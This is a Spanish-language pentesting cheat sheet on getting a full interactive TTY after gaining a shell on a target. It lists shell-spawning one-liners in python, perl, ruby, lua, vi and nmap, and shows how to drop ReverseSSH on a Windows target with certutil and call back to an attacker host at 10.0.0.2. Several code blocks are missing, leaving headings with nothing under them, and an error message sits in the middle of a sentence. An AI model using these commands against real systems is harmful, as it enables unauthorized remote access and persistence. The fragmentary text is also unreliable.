Full TTYs
TTY Completo
Ten en cuenta que la shell que establezcas en la variable SHELL
debe estar listada dentro de /etc/shells o El valor de la variable SHELL no se encontró en el archivo /etc/shells. Este incidente ha sido reportado
. Además, ten en cuenta que los siguientes fragmentos solo funcionan en bash. Si estás en zsh, cambia a bash antes de obtener la shell ejecutando bash
.
Python
Puedes obtener el número de filas y columnas ejecutando stty -a
script
socat
Generar shells
python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
script -qc /bin/bash /dev/null
perl -e 'exec "/bin/sh";'
perl:
exec "/bin/sh";
ruby:
exec "/bin/sh"
lua:
os.execute('/bin/sh')
IRB:
exec "/bin/sh"
vi:
:!bash
vi:
:set shell=/bin/bash:shell
nmap:
!sh
ReverseSSH
Una forma conveniente de obtener acceso interactivo a la shell, así como transferencia de archivos y reenvío de puertos, es dejar caer el servidor ssh enlazado estáticamente ReverseSSH en el objetivo.
A continuación se muestra un ejemplo para x86
con binarios comprimidos con upx. Para otros binarios, consulte la página de lanzamientos.
Preparar localmente para capturar la solicitud de reenvío de puerto ssh:
(2a) Objetivo Linux:
(2b) Objetivo Windows 10 (para versiones anteriores, consulte el readme del proyecto):
```bash # Drop it via your preferred way, e.g. certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe
reverse-ssh.exe -p 4444 kali@10.0.0.2
Sin TTY
Si por alguna razón no puedes obtener un TTY completo, aún puedes interactuar con programas que esperan la entrada del usuario. En el siguiente ejemplo, la contraseña se pasa a sudo
para leer un archivo:
Última actualización